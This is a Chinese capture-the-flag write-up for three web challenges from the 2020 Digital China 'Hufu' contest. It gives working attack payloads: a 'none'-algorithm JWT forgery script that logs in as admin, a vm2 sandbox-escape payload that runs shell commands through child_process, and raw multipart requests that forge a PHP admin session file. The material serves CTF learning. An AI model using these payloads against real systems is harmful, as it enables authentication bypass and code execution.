2020数字中国创新大赛-虎符网络安全

WEB

easy_login

在static/js/app.js中发现

1
2
3
4
/**
*  或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

于是直接访问app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');

const crypto = require('crypto');
const { resolve } = require('path');

const rest = require('./rest');
const controller = require('./controller');

const PORT = 80;
const app = new Koa();

app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];

app.use(static(resolve(__dirname, '.')));

app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));

app.use(session({key: 'sses:aok', maxAge: 86400000}, app));

// parse request body:
app.use(bodyParser());

// prepare restful service
app.use(rest.restify());

// add controllers:
app.use(controller());

app.listen(PORT);
console.log(`app started at port ${PORT}...`);

然后rest.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
module.exports = {
APIError: function (code, message) {
this.code = code || 'internal:unknown_error';
this.message = message || '';
},
restify: () => {
const pathPrefix = '/api/';
return async (ctx, next) => {
if (ctx.request.path.startsWith(pathPrefix)) {
ctx.rest = data => {
ctx.response.type = 'application/json';
ctx.response.body = data;
};
try {
await next();
} catch (e) {
ctx.response.status = 400;
ctx.response.type = 'application/json';
ctx.response.body = {
code: e.code || 'internal_error',
message: e.message || ''
};
}
} else {
await next();
}
};
}
};

controller.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const fs = require('fs');

function addMapping(router, mapping) {
for (const url in mapping) {
if (url.startsWith('GET ')) {
const path = url.substring(4);
router.get(path, mapping[url]);
} else if (url.startsWith('POST ')) {
const path = url.substring(5);
router.post(path, mapping[url]);
} else {
console.log(`invalid URL: ${url}`);
}
}
}

function addControllers(router, dir) {
fs.readdirSync(__dirname + '/' + dir).filter(f => {
return f.endsWith('.js');
}).forEach(f => {
const mapping = require(__dirname + '/' + dir + '/' + f);
addMapping(router, mapping);
});
}

module.exports = (dir) => {
const controllers_dir = dir || 'controllers';
const router = require('koa-router')();
addControllers(router, controllers_dir);
return router.routes();
};

fuzz controllers目录得到

api.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

view.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
module.exports = {
'GET /': async (ctx, next) => {
ctx.status = 302;
ctx.redirect('/home');
},
'GET /login': async (ctx, next) => {
if(ctx.session.username) {
ctx.status = 302;
await ctx.redirect('/home');
} else {
await ctx.render('login');
await next();
}
},
'GET /register': async (ctx, next) => {
if(ctx.session.username) {
ctx.status = 302;
await ctx.redirect('/home');
} else {
await ctx.render('register');
await next();
}
},
'GET /home': async (ctx, next) => {
if(!ctx.session.username) {
ctx.status = 302;
await ctx.redirect('/login');
} else {
await ctx.render('home', {
username: ctx.session.username,
});
await next();
}
}
};

阅读代码发现:

1
2
3
4
5
6
7

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
//验证之前

我们可以控制sid来选择任意的密钥

node 的jsonwebtoken库存在一个缺陷,也是jwt的常见攻击手法,当用户传入jwt secret为空时 jsonwebtoken会采用algorithm none进行解密

我们令sid=false,则可以通过

1
2
3
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

的验证,且global.secrets[sid]=undefined

最后的payload

1
2
3
4
5
6
7
8
9
import jwt
import json
a=json.loads('''{
"secretid": false,
"username":"admin",
"password": "admin",
"iat": 1587310401
}''')
print(jwt.encode(a, key="", algorithm='none'))

just_escape

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
数学运算
code: (2+6-7)/3

run online: /run.php?code=(2%2b6-7)/3;

Ouput: 0.3333333333333333

注意编码 =.=

时间戳
code: new Date();

run online: /run.php?code=new%20Date();

Ouput: Fri Nov 22 2019 15:39:22 GMT+0800 (China Standard Time)

真的是 PHP 嘛

刚开始还真的以为是php,再输入console的时候返回 [object Object] ,这题应该是nodejs

在网上找到类似的题目

在vm2的issue中找到 https://github.com/patriksimek/vm2/issues/225

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const axios = require('axios')
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
}
}+')()';
const content = Buffer.from(untrusted).toString('hex')
axios.get(
'view-source:c3fa4d495d384a6498ef0a99a4f83c59cc9d658bef174be6.changame.ichunqiu.com/run.php?code=var+a%3d`eva`;this[`${a}l`](new+Buffer(`' + content + '`,`hex`).toString());'
).then(p => {
console.log(p.data)
}).catch(p => {
console.log((p.response.data))
})

babyupload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

因为上传目录和sess文件所在目录相同,可以伪造sess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST / HTTP/1.1
Host: 1b4b996742cb4d2b92d4ee548dc2c06d4ce0b9aa209948d1.changame.ichunqiu.com
Content-Length: 395
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx5uJpSmC7ijBPrtm
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=7d93710a783397f3be0ba7165a60faed;
Connection: close

------WebKitFormBoundaryx5uJpSmC7ijBPrtm
Content-Disposition: form-data; name="direction"

upload
------WebKitFormBoundaryx5uJpSmC7ijBPrtm
Content-Disposition: form-data; name="attr"


------WebKitFormBoundaryx5uJpSmC7ijBPrtm
Content-Disposition: form-data; name="up_file"; filename="sess"
Content-Type: text/plain

\x08usernames:5:"admin";
------WebKitFormBoundaryx5uJpSmC7ijBPrtm--

成功伪造admin身份

接下来就是要弄个success.txt了,虽然我们文件名会被加个后缀

但是我们可以通过创建success.txt文件夹来达到相同效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST / HTTP/1.1
Host: 1b4b996742cb4d2b92d4ee548dc2c06d4ce0b9aa209948d1.changame.ichunqiu.com
Content-Length: 406
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx5uJpSmC7ijBPrtm
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: UM_distinctid=16f8014229c357-04d5c848290106-6701b35-240000-16f8014229d768; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1587227364; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1587344461; PHPSESSID=7d93710a783397f3be0ba7165a60faed; __jsluid_h=7a2212833688aca0c2569475f7bdeffd
Connection: close

------WebKitFormBoundaryx5uJpSmC7ijBPrtm
Content-Disposition: form-data; name="direction"

upload
------WebKitFormBoundaryx5uJpSmC7ijBPrtm
Content-Disposition: form-data; name="attr"

success.txt
------WebKitFormBoundaryx5uJpSmC7ijBPrtm
Content-Disposition: form-data; name="up_file"; filename="sess"
Content-Type: text/plain

usernames:5:"admin";
------WebKitFormBoundaryx5uJpSmC7ijBPrtm--

image13059